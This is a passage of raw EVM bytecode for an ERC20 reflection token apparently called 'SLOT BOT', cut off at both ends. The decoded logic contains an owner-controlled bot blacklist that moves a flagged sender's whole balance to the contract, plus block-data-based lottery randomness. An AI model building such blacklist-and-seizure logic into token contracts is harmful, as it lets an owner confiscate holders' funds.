0fd5b5061022861069936600461228f565b610cc4565b3480156106a9575f80fd5b50601b546102aa90600160a01b900460ff1681565b5f546001600160a01b031633146106f05760405162461bcd60e51b81526004016106e790612495565b60405180910390fd5b5f5b815181101561075557600160145f848481518110610712576107126124ca565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790558061074d816124f2565b9150506106f2565b5050565b5f546001600160a01b031633146107825760405162461bcd60e51b81526004016106e790612495565b601e55565b5f610793338484610d1c565b5060015b92915050565b5f8080808080808080335f546001600160a01b039081169116146107d35760405162461bcd60e51b81526004016106e790612495565b5050601154601254601354600854600a54600954600b5460ff62010000880481169f969e50949c508487169b50610100909604909316985090965094509250565b5f546001600160a01b0316331461083d5760405162461bcd60e51b81526004016106e790612495565b6001600160a01b03165f908152601460205260409020805460ff19169055565b5f546001600160a01b031633146108865760405162461bcd60e51b81526004016106e790612495565b60118054931515620100000262ff00001990941693909317909255601255601355565b5f6108b5848484610e3f565b61090684336109018560405180606001604052806028815260200161260c602891396001600160a01b038a165f9081526004602090815260408083203384529091529020549190610fcd565b610d1c565b5060019392505050565b5f546001600160a01b031633146109395760405162461bcd60e51b81526004016106e790612495565b5f8111610944575f80fd5b606461095882670de0b6b3a764000061250a565b6109629190612535565b601c5550565b5f546001600160a01b031633146109915760405162461bcd60e51b81526004016106e790612495565b601b805460ff60a01b198116600160a01b9182900460ff1615909102179055565b5f546001600160a01b031633146109db5760405162461bcd60e51b81526004016106e790612495565b601055565b5f546001600160a01b03163314610a095760405162461bcd60e51b81526004016106e790612495565b601b8054911515600160b01b0260ff60b01b19909216919091179055565b5f546001600160a01b03163314610a505760405162461bcd60e51b81526004016106e790612495565b5f5b82811015610abe578160055f868685818110610a7057610a706124ca565b9050602002016020810190610a8591906122d0565b6001600160a01b0316815260208101919091526040015f20805460ff191691151591909117905580610ab6816124f2565b915050610a52565b50505050565b6001600160a01b0381165f9081526002602052604081205461079790611005565b5f546001600160a01b03163314610b0e5760405162461bcd60e51b81526004016106e790612495565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6017546001600160a01b0316336001600160a01b03161480610b8b57506018546001600160a01b0316336001600160a01b0316145b610b93575f80fd5b47610b9d81611087565b50565b6017546001600160a01b0316336001600160a01b03161480610bd557506018546001600160a01b0316336001600160a01b0316145b610bdd575f80fd5b5f610be730610ac4565b9050610b9d81611116565b5f546001600160a01b03163314610c1b5760405162461bcd60e51b81526004016106e790612495565b6011805461ffff191692151561ff0019169290921761010091151591909102179055565b5f546001600160a01b03163314610c685760405162461bcd60e51b81526004016106e790612495565b601f805460ff1916911515919091179055565b5f546001600160a01b03163314610ca45760405162461bcd60e51b81526004016106e790612495565b600893909355600a91909155600955600b55565b5f610793338484610e3f565b5f546001600160a01b03163314610ced5760405162461bcd60e51b81526004016106e790612495565b5f8111610cf8575f80fd5b6064610d0c82670de0b6b3a764000061250a565b610d169190612535565b601d5550565b6001600160a01b038316610d7e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106e7565b6001600160a01b038216610ddf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106e7565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ea35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106e7565b6001600160a01b038216610f055760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106e7565b5f8111610f665760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106e7565b6001600160a01b0383165f9081526014602052604090205460ff1615610f9f57610f9a8330610f9486610ac4565b5f611286565b505050565b610faa8383836112b4565b5f610fb584846116c0565b9050610fc1825f61199e565b610abe84848484611286565b5f8184841115610ff05760405162461bcd60e51b81526004016106e79190612244565b505f610ffc8486612548565b95945050505050565b5f60065482111561106b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016106e7565b5f611074611a35565b90506110808382611a56565b9392505050565b6017546001600160a01b03166108fc6110ac60646110a6856019611a97565b90611a56565b6040518115909202915f818181858888f193505050501580156110d1573d5f803e3d5ffd5b506018546001600160a01b03166108fc6110f160646110a685604b611a97565b6040518115909202915f818181858888f19350505050158015610755573d5f803e3d5ffd5b601b805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061115c5761115c6124ca565b6001600160a01b03928316602091820292909201810191909152601a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111b3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111d7919061255b565b816001815181106111ea576111ea6124ca565b6001600160a01b039283166020918202929092010152601a546112109130911684610d1c565b601a5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112489085905f90869030904290600401612576565b5f604051808303815f87803b15801561125f575f80fd5b505af1158015611271573d5f803e3d5ffd5b5050601b805460ff60a81b1916905550505050565b8061129357611293611b15565b61129e848484611b42565b80610abe57610abe600e54600c55600f54600d55565b5f546001600160a01b038481169116148015906112de57505f546001600160a01b03838116911614155b15610f9a57601b54600160a01b900460ff16611376575f546001600160a01b038481169116146113765760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016106e7565b601c548111156113c85760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016106e7565b6113d183611c33565b156114415760115460ff16156114415760405162461bcd60e51b815260206004820152602f60248201527f544f4b454e3a2044697361626c6564207472616e736d697373696f6e2062657460448201526e3bb2b2b71031b7b73a3930b1ba399760891b60648201526084016106e7565b601b546001600160a01b038381169116146114c657601d548161146384610ac4565b61146d91906125e5565b106114c65760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016106e7565b5f6114d030610ac4565b601e54601c549192508210159082106114e957601c5491505b8080156115005750601b54600160a81b900460ff16155b801561151a5750601b546001600160a01b03868116911614155b801561152f5750601b54600160b01b900460ff165b801561155357506001600160a01b0385165f9081526005602052604090205460ff16155b801561157757506001600160a01b0384165f9081526005602052604090205460ff16155b15611605575f611588600284612535565b90505f6115958285612548565b90506115a081611116565b478015611601576115b047611087565b5f6115bc600a85612535565b90505f6115c98286612548565b6017549091506115e59030906001600160a01b0316845f611286565b6019546115fe9030906001600160a01b0316835f611286565b50505b5050505b601b54600160a81b900460ff1615801561162c5750601b546001600160a01b038681169116145b80156116465750601a546001600160a01b03858116911614155b156116b9576001600160a01b0384165f908152601560205260409020544303611690576001600160a01b0384165f908152601460205260409020805460ff191660011790556116b9565b6001600160a01b0384165f9081526014602052604090205460ff166116b9576116b98484611c84565b5050505050565b6001600160a01b0382165f9081526005602052604081205460019060ff168061170057506001600160a01b0383165f9081526005602052604090205460ff165b806117325750601b546001600160a01b038581169116148015906117325750601b546001600160a01b03848116911614155b1561173e57505f611080565b601b546001600160a01b0385811691161480156117695750601a546001600160a01b03848116911614155b1561181a57600854600c55600954600d5560115462010000900460ff16156117ff576012546001600160a01b0384165f908152601560205260409020546117b091906125e5565b4310156117ff5760405162461bcd60e51b815260206004820152601d60248201527f544f4b454e3a20496e76616c696420436f6f6c646f776e20426c6f636b00000060448201526064016106e7565b6001600160a01b0383165f9081526015602052604090204390555b601b546001600160a01b0384811691161480156118455750601a546001600160a01b03858116911614155b1561108057600a54600c55600b54600d5560115462010000900460ff16801561187757506001600160a01b0384163014155b156118f0576013546001600160a01b0385165f908152601660205260409020546118a191906125e5565b4310156118f05760405162461bcd60e51b815260206004820152601d60248201527f544f4b454e3a20496e76616c696420436f6f6c646f776e20426c6f636b00000060448201526064016106e7565b601154610100900460ff161561197d576001600160a01b0384165f90815260156020526040902054431161197d5760405162461bcd60e51b815260206004820152602e60248201527f544f4b454e3a2053656c6c696e67206174207468652073616d6520626c6f636b60448201526d103bb0b9903234b9b0b13632b21760911b60648201526084016106e7565b6001600160a01b0384165f9081526016602052604090204390559392505050565b670de0b6b3a76400008111156119e657816119c1670de0b6b3a7640000836125f8565b6119cb91906125e5565b60105f8282546119db91906125e5565b90915550611a069050565b6119f082826125e5565b60105f828254611a0091906125e5565b90915550505b670de0b6b3a7640000601054111561075557670de0b6b3a7640000601054611a2e91906125f8565b6010555050565b5f805f611a40611eeb565b9092509050611a4f8282611a56565b9250505090565b5f61108083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f2a565b5f825f03611aa657505f610797565b5f611ab1838561250a565b905082611abe8583612535565b146110805760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106e7565b600c54158015611b255750600d54155b15611b2c57565b600c8054600e55600d8054600f555f9182905555565b5f805f805f80611b5187611f56565b6001600160a01b038f165f90815260026020526040902054959b50939950919750955093509150611b829087611fab565b6001600160a01b03808b165f9081526002602052604080822093909355908a1681522054611bb09086611fec565b6001600160a01b0389165f90815260026020526040902055611bd18161204a565b611bdb8483612090565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611c2091815260200190565b60405180910390a3505050505050505050565b601b545f906001600160a01b0383811691161480611c5e5750601a546001600160a01b038381169116145b80611c7157506001600160a01b03821630145b15611c7d57505f919050565b503b151590565b60105460408051602081019290925242908201524460608201524360808201525f9060a001604051602081830303815290604052805190602001205f1c9050611ccd828261199e565b611cda620f4240826125f8565b90505f80612710831015611cfe5760019150611cf7600585612535565b9050611e4a565b614e20831015611d175760029150611cf7600585612535565b617530831015611d305760039150611cf7600585612535565b6188b8831015611d495760049150611cf7600385612535565b619c40831015611d625760059150611cf7600385612535565b61afc8831015611d7b5760069150611cf7600385612535565b61b02c831015611d9057506007905082611e4a565b61b036831015611da95760089150611cf784600a61250a565b61b037831015611dc25760099150611cf784606461250a565b601f5460ff1615611e4a57620186a08310158015611de257506201d4c083105b15611df557600a9150611cf78285612535565b6201d4c08310158015611e0a5750620222e083105b15611e1e57600b9150611cf7600a85612535565b620222e08310158015611e3357506202710083105b15611e4a57600c9150611e47600a85612535565b90505b6019545f90611e61906001600160a01b0316610ac4565b905081811015611e6f575f92505b60ff831615611ee357601954611e90906001600160a01b031687845f611286565b604080516001600160a01b03881681526020810187905260ff8516818301526060810184905290517fdc47cb2c804507dcc3733ffe47301918f3f4b01304d39d7e5d37ca59fbaa628f9181900360800190a15b505050505050565b6006545f908190670de0b6b3a7640000611f058282611a56565b821015611f2157505060065492670de0b6b3a764000092509050565b90939092509050565b5f8183611f4a5760405162461bcd60e51b81526004016106e79190612244565b505f610ffc8486612535565b5f805f805f805f805f611f6e8a600c54600d546120b4565b9250925092505f611f7d611a35565b90505f805f611f8e8e878787612100565b919e509c509a509598509396509194505050505091939550919395565b5f61108083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fcd565b5f80611ff883856125e5565b9050838110156110805760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106e7565b5f612053611a35565b90505f6120608383611a97565b305f9081526002602052604090205490915061207c9082611fec565b305f90815260026020526040902055505050565b60065461209d9083611fab565b6006556007546120ad9082611fec565b6007555050565b5f8080806120c760646110a68989611a97565b90505f6120d960646110a68a89611a97565b90505f6120f0826120ea8b86611fab565b90611fab565b9992985090965090945050505050565b5f80808061210e8886611a97565b90505f61211b8887611a97565b90505f6121288888611a97565b90505f612139826120ea8686611fab565b939b939a50919850919650505050505050565b634e487b7160e01b5f52604160045260245ffd5b6001600160a01b0381168114610b9d575f80fd5b803561217f81612160565b919050565b5f6020808385031215612195575f80fd5b823567ffffffffffffffff808211156121ac575f80fd5b818501915085601f8301126121bf575f80fd5b8135818111156121d1576121d161214c565b8060051b604051601f19603f830116810181811085821117156121f6576121f661214c565b604052918252848201925083810185019188831115612213575f80fd5b938501935b828510156122385761222985612174565b84529385019392850192612218565b98975050505050505050565b5f6020808352835180828501525f5b8181101561226f57858101830151858201604001528201612253565b505f604082860101526040601f19601f8301168501019250505092915050565b5f6020828403121561229f575f80fd5b5035919050565b5f80604083850312156122b7575f80fd5b82356122c281612160565b946020939093013593505050565b5f602082840312156122e0575f80fd5b813561108081612160565b8035801515811461217f575f80fd5b5f805f6060848603121561230c575f80fd5b612315846122eb565b95602085013595506040909401359392505050565b5f805f6060848603121561233c575f80fd5b833561234781612160565b9250602084013561235781612160565b929592945050506040919091013590565b5f60208284031215612378575f80fd5b611080826122eb565b5f805f60408486031215612393575f80fd5b833567ffffffffffffffff808211156123aa575f80fd5b818601915086601f8301126123bd575f80fd5b8135818111156123cb575f80fd5b8760208260051b85010111156123df575f80fd5b6020928301955093506123f591860190506122eb565b90509250925092565b5f806040838503121561240f575f80fd5b612418836122eb565b9150612426602084016122eb565b90509250929050565b5f805f8060808587031215612442575f80fd5b5050823594602084013594506040840135936060013592509050565b5f806040838503121561246f575f80fd5b823561247a81612160565b9150602083013561248a81612160565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f60018201612503576125036124de565b5060010190565b8082028115828204841417610797576107976124de565b634e487b7160e01b5f52601260045260245ffd5b5f8261254357612543612521565b500490565b81810381811115610797576107976124de565b5f6020828403121561256b575f80fd5b815161108081612160565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156125c45784516001600160a01b03168352938301939183019160010161259f565b50506001600160a01b03969096166060850152505050608001529392505050565b80820180821115610797576107976124de565b5f8261260657612606612521565b50069056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a0a51dec8cb333a515e87becb576ab527df021230c4181b05533f6cb39b1bf1e64736f6c63430008150033
Deployed Bytecode
0x6080604052600436106101fe575f3560e01c80636feaf52a11610113578063a2a957bb1161009d578063bd430e401161006d578063bd430e401461060d578063c95714e314610626578063dd62ed3e1461063b578063f75235261461067f578063ffb54a991461069e575f80fd5b8063a2a957bb146105a5578063a9059cbb146105c4578063af89336b146105e3578063b31e8fb9146105f8575f80fd5b80638d3e75c4116100e35780638d3e75c41461050b5780638da5cb5b1461051f578063932173b71461053b57806395d89b411461055a5780639d91573314610586575f80fd5b80636feaf52a146104a557806370a08231146104c4578063715018a6146104e357806374ea7cc0146104f7575f80fd5b806318160ddd11610194578063293230b811610164578063293230b814610419578063313ce5671461042d57806349bd5a5e14610448578063602512e1146104675780636d8aa8f814610486575f80fd5b806318160ddd146103985780632258fb62146103bc57806323b872dd146103db578063289161ed146103fa575f80fd5b80630e069804116101cf5780630e069804146102ba5780631474a755146103145780631694505e14610342578063169858a914610379575f80fd5b8062b8cf2a1461020957806306fdde031461022a5780630767fac41461026c578063095ea7b31461028b575f80fd5b3661020557005b5f80fd5b348015610214575f80fd5b50610228610223366004612184565b6106be565b005b348015610235575f80fd5b5060408051808201909152600881526714d313d5081093d560c21b60208201525b6040516102639190612244565b60405180910390f35b348015610277575f80fd5b5061022861028636600461228f565b610759565b348015610296575f80fd5b506102aa6102a53660046122a6565b610787565b6040519015158152602001610263565b3480156102c5575f80fd5b506102ce61079d565b604080519915158a5260208a0198909852968801959095529215156060870152901515608086015260a085015260c084015260e083015261010082015261012001610263565b34801561031f575f80fd5b506102aa61032e3660046122d0565b60146020525f908152604090205460ff1681565b34801561034d575f80fd5b50601a54610361906001600160a01b031681565b6040516001600160a01b039091168152602001610263565b348015610384575f80fd5b506102286103933660046122d0565b610814565b3480156103a3575f80fd5b50670de0b6b3a76400005b604051908152602001610263565b3480156103c7575f80fd5b506102286103d63660046122fa565b61085d565b3480156103e6575f80fd5b506102aa6103f536600461232a565b6108a9565b348015610405575f80fd5b5061022861041436600461228f565b610910565b348015610424575f80fd5b50610228610968565b348015610438575f80fd5b5060405160098152602001610263565b348015610453575f80fd5b50601b54610361906001600160a01b031681565b348015610472575f80fd5b5061022861048136600461228f565b6109b2565b348015610491575f80fd5b506102286104a0366004612368565b6109e0565b3480156104b0575f80fd5b506102286104bf366004612381565b610a27565b3480156104cf575f80fd5b506103ae6104de3660046122d0565b610ac4565b3480156104ee575f80fd5b50610228610ae5565b348015610502575f80fd5b50610228610b56565b348015610516575f80fd5b50610228610ba0565b34801561052a575f80fd5b505f546001600160a01b0316610361565b348015610546575f80fd5b506102286105553660046123fe565b610bf2565b348015610565575f80fd5b5060408051808201909152600481526314d093d560e21b6020820152610256565b348015610591575f80fd5b506102286105a0366004612368565b610c3f565b3480156105b0575f80fd5b506102286105bf36600461242f565b610c7b565b3480156105cf575f80fd5b506102aa6105de3660046122a6565b610cb8565b3480156105ee575f80fd5b506103ae601c5481565b348015610603575f80fd5b506103ae601d5481565b348015610618575f80fd5b50601f546102aa9060ff1681565b348015610631575f80fd5b506103ae601e5481565b348015610646575f80fd5b506103ae61065536600461245e565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b34801561068a575f80fd5b5061022861069936600461228f565b610cc4565b3480156106a9575f80fd5b50601b546102aa90600160a01b900460ff1681565b5f546001600160a01b031633146106f05760405162461bcd60e51b81526004016106e790612495565b60405180910390fd5b5f5b815181101561075557600160145f848481518110610712576107126124ca565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790558061074d816124f2565b9150506106f2565b5050565b5f546001600160a01b031633146107825760405162461bcd60e51b81526004016106e790612495565b601e55565b5f610793338484610d1c565b5060015b92915050565b5f8080808080808080335f546001600160a01b039081169116146107d35760405162461bcd60e51b81526004016106e790612495565b5050601154601254601354600854600a54600954600b5460ff62010000880481169f969e50949c508487169b50610100909604909316985090965094509250565b5f546001600160a01b0316331461083d5760405162461bcd60e51b81526004016106e790612495565b6001600160a01b03165f908152601460205260409020805460ff19169055565b5f546001600160a01b031633146108865760405162461bcd60e51b81526004016106e790612495565b60118054931515620100000262ff00001990941693909317909255601255601355565b5f6108b5848484610e3f565b61090684336109018560405180606001604052806028815260200161260c602891396001600160a01b038a165f9081526004602090815260408083203384529091529020549190610fcd565b610d1c565b5060019392505050565b5f546001600160a01b031633146109395760405162461bcd60e51b81526004016106e790612495565b5f8111610944575f80fd5b606461095882670de0b6b3a764000061250a565b6109629190612535565b601c5550565b5f546001600160a01b031633146109915760405162461bcd60e51b81526004016106e790612495565b601b805460ff60a01b198116600160a01b9182900460ff1615909102179055565b5f546001600160a01b031633146109db5760405162461bcd60e51b81526004016106e790612495565b601055565b5f546001600160a01b03163314610a095760405162461bcd60e51b81526004016106e790612495565b601b8054911515600160b01b0260ff60b01b19909216919091179055565b5f546001600160a01b03163314610a505760405162461bcd60e51b81526004016106e790612495565b5f5b82811015610abe578160055f868685818110610a7057610a706124ca565b9050602002016020810190610a8591906122d0565b6001600160a01b0316815260208101919091526040015f20805460ff191691151591909117905580610ab6816124f2565b915050610a52565b50505050565b6001600160a01b0381165f9081526002602052604081205461079790611005565b5f546001600160a01b03163314610b0e5760405162461bcd60e51b81526004016106e790612495565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6017546001600160a01b0316336001600160a01b03161480610b8b57506018546001600160a01b0316336001600160a01b0316145b610b93575f80fd5b47610b9d81611087565b50565b6017546001600160a01b0316336001600160a01b03161480610bd557506018546001600160a01b0316336001600160a01b0316145b610bdd575f80fd5b5f610be730610ac4565b9050610b9d81611116565b5f546001600160a01b03163314610c1b5760405162461bcd60e51b81526004016106e790612495565b6011805461ffff191692151561ff0019169290921761010091151591909102179055565b5f546001600160a01b03163314610c685760405162461bcd60e51b81526004016106e790612495565b601f805460ff1916911515919091179055565b5f546001600160a01b03163314610ca45760405162461bcd60e51b81526004016106e790612495565b600893909355600a91909155600955600b55565b5f610793338484610e3f565b5f546001600160a01b03163314610ced5760405162461bcd60e51b81526004016106e790612495565b5f8111610cf8575f80fd5b6064610d0c82670de0b6b3a764000061250a565b610d169190612535565b601d5550565b6001600160a01b038316610d7e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106e7565b6001600160a01b038216610ddf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106e7565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ea35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106e7565b6001600160a01b038216610f055760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106e7565b5f8111610f665760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106e7565b6001600160a01b0383165f9081526014602052604090205460ff1615610f9f57610f9a8330610f9486610ac4565b5f611286565b505050565b610faa8383836112b4565b5f610fb584846116c0565b9050610fc1825f61199e565b610abe84848484611286565b5f8184841115610ff05760405162461bcd60e51b81526004016106e79190612244565b505f610ffc8486612548565b95945050505050565b5f60065482111561106b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016106e7565b5f611074611a35565b90506110808382611a56565b9392505050565b6017546001600160a01b03166108fc6110ac60646110a6856019611a97565b90611a56565b6040518115909202915f818181858888f193505050501580156110d1573d5f803e3d5ffd5b506018546001600160a01b03166108fc6110f160646110a685604b611a97565b6040518115909202915f818181858888f19350505050158015610755573d5f803e3d5ffd5b601b805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061115c5761115c6124ca565b6001600160a01b03928316602091820292909201810191909152601a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111b3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111d7919061255b565b816001815181106111ea576111ea6124ca565b6001600160a01b039283166020918202929092010152601a546112109130911684610d1c565b601a5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112489085905f90869030904290600401612576565b5f604051808303815f87803b15801561125f575f80fd5b505af1158015611271573d5f803e3d5ffd5b5050601b805460ff60a81b1916905550505050565b8061129357611293611b15565b61129e848484611b42565b80610abe57610abe600e54600c55600f54600d55565b5f546001600160a01b038481169116148015906112de57505f546001600160a01b03838116911614155b15610f9a57601b54600160a01b900460ff16611376575f546001600160a01b038481169116146113765760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016106e7565b601c548111156113c85760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016106e7565b6113d183611c33565b156114415760115460ff16156114415760405162461bcd60e51b815260206004820152602f60248201527f544f4b454e3a2044697361626c6564207472616e736d697373696f6e2062657460448201526e3bb2b2b71031b7b73a3930b1ba399760891b60648201526084016106e7565b601b546001600160a01b038381169116146114c657601d548161146384610ac4565b61146d91906125e5565b106114c65760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016106e7565b5f6114d030610ac4565b601e54601c549192508210159082106114e957601c5491505b8080156115005750601b54600160a81b900460ff16155b801561151a5750601b546001600160a01b03868116911614155b801561152f5750601b54600160b01b900460ff165b801561155357506001600160a01b0385165f9081526005602052604090205460ff16155b801561157757506001600160a01b0384165f9081526005602052604090205460ff16155b15611605575f611588600284612535565b90505f6115958285612548565b90506115a081611116565b478015611601576115b047611087565b5f6115bc600a85612535565b90505f6115c98286612548565b6017549091506115e59030906001600160a01b0316845f611286565b6019546115fe9030906001600160a01b0316835f611286565b50505b5050505b601b54600160a81b900460ff1615801561162c5750601b546001600160a01b038681169116145b80156116465750601a546001600160a01b03858116911614155b156116b9576001600160a01b0384165f908152601560205260409020544303611690576001600160a01b0384165f908152601460205260409020805460ff191660011790556116b9565b6001600160a01b0384165f9081526014602052604090205460ff166116b9576116b98484611c84565b5050505050565b6001600160a01b0382165f9081526005602052604081205460019060ff168061170057506001600160a01b0383165f9081526005602052604090205460ff165b806117325750601b546001600160a01b038581169116148015906117325750601b546001600160a01b03848116911614155b1561173e57505f611080565b601b546001600160a01b0385811691161480156117695750601a546001600160a01b03848116911614155b1561181a57600854600c55600954600d5560115462010000900460ff16156117ff576012546001600160a01b0384165f908152601560205260409020546117b091906125e5565b4310156117ff5760405162461bcd60e51b815260206004820152601d60248201527f544f4b454e3a20496e76616c696420436f6f6c646f776e20426c6f636b00000060448201526064016106e7565b6001600160a01b0383165f9081526015602052604090204390555b601b546001600160a01b0384811691161480156118455750601a546001600160a01b03858116911614155b1561108057600a54600c55600b54600d5560115462010000900460ff16801561187757506001600160a01b0384163014155b156118f0576013546001600160a01b0385165f908152601660205260409020546118a191906125e5565b4310156118f05760405162461bcd60e51b815260206004820152601d60248201527f544f4b454e3a20496e76616c696420436f6f6c646f776e20426c6f636b00000060448201526064016106e7565b601154610100900460ff161561197d576001600160a01b0384165f90815260156020526040902054431161197d5760405162461bcd60e51b815260206004820152602e60248201527f544f4b454e3a2053656c6c696e67206174207468652073616d6520626c6f636b60448201526d103bb0b9903234b9b0b13632b21760911b60648201526084016106e7565b6001600160a01b0384165f9081526016602052604090204390559392505050565b670de0b6b3a76400008111156119e657816119c1670de0b6b3a7640000836125f8565b6119cb91906125e5565b60105f8282546119db91906125e5565b90915550611a069050565b6119f082826125e5565b60105f828254611a0091906125e5565b90915550505b670de0b6b3a7640000601054111561075557670de0b6b3a7640000601054611a2e91906125f8565b6010555050565b5f805f611a40611eeb565b9092509050611a4f8282611a56565b9250505090565b5f61108083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f2a565b5f825f03611aa657505f610797565b5f611ab1838561250a565b905082611abe8583612535565b146110805760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106e7565b600c54158015611b255750600d54155b15611b2c57565b600c8054600e55600d8054600f555f9182905555565b5f805f805f80611b5187611f56565b6001600160a01b038f165f90815260026020526040902054959b50939950919750955093509150611b829087611fab565b6001600160a01b03808b165f9081526002602052604080822093909355908a1681522054611bb09086611fec565b6001600160a01b0389165f90815260026020526040902055611bd18161204a565b611bdb8483612090565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611c2091815260200190565b60405180910390a3505050505050505050565b601b545f906001600160a01b0383811691161480611c5e5750601a546001600160a01b038381169116145b80611c7157506001600160a01b03821630145b15611c7d57505f919050565b503b151590565b60105460408051602081019290925242908201524460608201524360808201525f9060a001604051602081830303815290604052805190602001205f1c9050611ccd828261199e565b611cda620f4240826125f8565b90505f80612710831015611cfe5760019150611cf7600585612535565b9050611e4a565b614e20831015611d175760029150611cf7600585612535565b617530831015611d305760039150611cf7600585612535565b6188b8831015611d495760049150611cf7600385612535565b619c40831015611d625760059150611cf7600385612535565b61afc8831015611d7b5760069150611cf7600385612535565b61b02c831015611d9057506007905082611e4a565b61b036831015611da95760089150611cf784600a61250a565b61b037831015611dc25760099150611cf784606461250a565b601f5460ff1615611e4a57620186a08310158015611de257506201d4c083105b15611df557600a9150611cf78285612535565b6201d4c08310158015611e0a5750620222e083105b15611e1e57600b9150611cf7600a85612535565b620222e08310158015611e3357506202710083105b15611e4a57600c9150611e47600a85612535565b90505b6019545f90611e61906001600160a01b0316610ac4565b905081811015611e6f575f92505b60ff831615611ee357601954611e90906001600160a01b031687845f611286565b604080516001600160a01b03881681526020810187905260ff8516818301526060810184905290517fdc47cb2c804507dcc3733ffe47301918f3f4b01304d39d7e5d37ca59fbaa628f9181900360800190a15b505050505050565b6006545f908190670de0b6b3a7640000611f058282611a56565b821015611f2157505060065492670de0b6b3a764000092509050565b90939092509050565b5f8183611f4a5760405162461bcd60e51b81526004016106e79190612244565b505f610ffc8486612535565b5f805f805f805f805f611f6e8a600c54600d546120b4565b9250925092505f611f7d611a35565b90505f805f611f8e8e878787612100565b919e509c509a509598509396509194505050505091939550919395565b5f61108083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fcd565b5f80611ff883856125e5565b9050838110156110805760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106e7565b5f612053611a35565b90505f6120608383611a97565b305f9081526002602052604090205490915061207c9082611fec565b305f90815260026020526040902055505050565b60065461209d